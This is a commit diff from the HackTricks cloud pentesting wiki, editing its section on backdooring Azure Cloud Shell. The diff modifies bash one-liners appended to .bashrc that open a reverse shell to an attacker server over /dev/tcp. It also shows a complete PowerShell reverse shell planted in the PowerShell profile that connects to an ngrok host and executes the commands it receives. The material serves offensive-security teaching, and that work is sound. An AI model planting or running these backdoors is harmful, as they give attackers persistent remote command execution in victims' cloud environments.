Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud

Author: carlospolop

searchindex.js

@@ -12,7 +12,7 @@ Azure Cloud Shell offers command-line access to manage Azure resources with pers
 Example backdoor in .bashrc:
 
 ```bash
-echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
 ```
 
 This backdoor can execute commands even 5 minutes after the cloud shell is finished by the user.
@@ -45,7 +45,7 @@ touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
 chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
 
 # Bash backdoor
-echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
 
 # PS backdoor
 echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1